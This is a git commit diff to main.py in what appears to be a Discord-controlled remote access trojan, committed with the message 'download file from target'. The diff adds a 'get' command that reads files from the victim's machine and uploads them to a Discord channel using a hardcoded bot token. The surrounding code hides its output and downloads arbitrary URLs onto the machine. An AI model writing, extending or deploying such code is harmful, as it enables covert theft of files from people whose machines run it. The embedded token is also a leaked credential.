summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authormrdog233o5 <mr.dog233o5@gmail.com>2023-09-01 23:08:38 +0800
committermrdog233o5 <mr.dog233o5@gmail.com>2023-09-01 23:08:38 +0800
commit57d376727d4fe7271d19d1327f43b2f44ccdde82 (patch)
tree46a0202c87f9cc747f6088f50d0f9bc87f20de03 /main.py
parent13a6538c8b6683ce6e11329296c6c590b582a949 (diff)
download file from target
Diffstat (limited to 'main.py')
-rw-r--r--main.py26
1 files changed, 24 insertions, 2 deletions
diff --git a/main.py b/main.py
index 530d34a..394f83b 100644
--- a/main.py
+++ b/main.py
@@ -4,12 +4,13 @@ try:
from time import sleep
from subprocess import Popen as system
from subprocess import PIPE
- from os import chdir, uname, devnull
+ from os import chdir, uname, devnull, getcwd
from sys import platform, stdout, stderr
old_command = ""
command = ""
loop = 0
+
stdout = open(devnull, 'w')
stderr = open(devnull, 'w')
@@ -68,17 +69,38 @@ while True:
if command == "None":
old_command = ""
continue
+ if command.startswith("get "):
+ token = 'MTE0MTM0MDA2Mzk2ODU0MjczMA.G7bTuQ.kXvBg1R2N-3Z2cYUXDmEVcBIzc7Z_MWvP2Wjtg'
+ channel_id = '1140989222556274721'
+ url = f'https://discord.com/api/v9/channels/{channel_id}/messages'
+ localcmd = command.split()
+ path = "../" + localcmd[1]
+ file = open(path, "rb").read()
+ fileJson = {
+ "file" : (str(path), open(str(path), 'rb'))
+ }
+ payload = {
+ "content":"message"
+ }
+ header = {'Authorization': f'Bot {token}'}
+
+ try:
+ post(url, data = payload, headers=header, files=fileJson)
+ except:
+ pass
+ old_command = commandId
if command.startswith("webfile "):
localcmd = command.split(maxsplit=1)
files = eval(localcmd[1])
for fileUrl in files:
fileData = get(fileUrl).content
- fileName = os.path.basename(fileUrl)
+ fileName = path.basename(fileUrl)
filePath = os.path.expanduser("~")
with open(f"{filePath}/{fileName}", 'wb') as f:
f.write(fileData)
f.close()
old_command = commandId
+ continue
#filename = os.path.basename(localcmd[1])
#print(filename)
#ossystem("touch " + filename[0] + filename[1])